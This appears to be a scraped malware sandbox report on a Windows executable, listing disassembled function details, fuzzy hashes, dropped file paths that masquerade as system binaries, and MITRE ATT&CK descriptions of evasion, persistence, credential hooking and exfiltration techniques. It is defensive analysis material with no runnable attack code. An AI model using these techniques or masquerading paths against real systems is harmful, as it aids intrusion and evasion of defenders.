Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 091921a5353eaee6d8d05110a31c67a1cc70bb8c7c926eef7601143a08dd229d
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: BD112E36B10F018AEB10CF61F8693EC33B4F769758F451E25DA6D467A4EB78C5988380

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000216D26F2416
StrCpyW.SHLWAPI ref: 00000216D26F242D

Strings

\\.\pipe\, xrefs: 00000216D26F2421

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 95040b388840690fbbe067b36436dc91eace62590150f5e531ba2dbf86a9aef3
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: D551B0327047E183EE749F2AF5AC3EFAA51F3A5B80F45012DDE5903B99DA79C5448B40

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D27026F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000216D2702807
GetLastError.KERNEL32 ref: 00000216D2702829

Strings

U, xrefs: 00000216D27027B3

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 4e90db8bea5616d396187460a7c04a3a7846526dde713a22801b68fa29f860a9
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 4D41A033714A8086DB208F26F95D3EE67A0F7A8794F515029EE4D87794EB7DC445C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000216D26F94F0
RaiseException.KERNEL32 ref: 00000216D26F9531

Strings

csm, xrefs: 00000216D26F951E

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: ad116fc72a3c7fe84f58facf7c71bff39f0cc1218aea78dd0e90961d0684afb5
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 99116D32209B8082EB608F15F40839EB7E1F798B98F184225EE8C07768DF3DC555CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216D26F1C2D
HeapAlloc.KERNEL32 ref: 00000216D26F1C3B
GetProcessHeap.KERNEL32 ref: 00000216D26F1C77
HeapFree.KERNEL32 ref: 00000216D26F1C85

Part of subcall function 00000216D26F152C: StrCmpIW.SHLWAPI ref: 00000216D26F155D

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 13af758e1a50b9c641cc15e308869bca37880d4444e24b2e310ef6c21fd8b65d
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 06118535B01B9482EA148B67A81C2AE63B0FB98FC0F0940289E4D43766DF38C8429300

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216D26F126E
HeapAlloc.KERNEL32 ref: 00000216D26F127D
GetProcessHeap.KERNEL32 ref: 00000216D26F1297
HeapAlloc.KERNEL32 ref: 00000216D26F12A8

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 7120a257c749987a1a4265124393983a80deee3e1d4210d0586ba47261f1f13f
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 5EE03935B0160486EB148B63E92D3AA36E1FB9DB06F068028890907351DF7E8899C750

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

HIPS / PFW / Operating System Protection Evasion

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe

C:\PerfDll\hyperProviderSavesinto.exe

C:\PerfDll\vvkzdvmSUM14jiAzc.bat

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\e3a74901549792

C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe

C:\Recovery\24dbde2999530e

C:\Recovery\9e8d7a4ca61bd9

C:\Recovery\RuntimeBroker.exe

Windows Analysis Report
C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre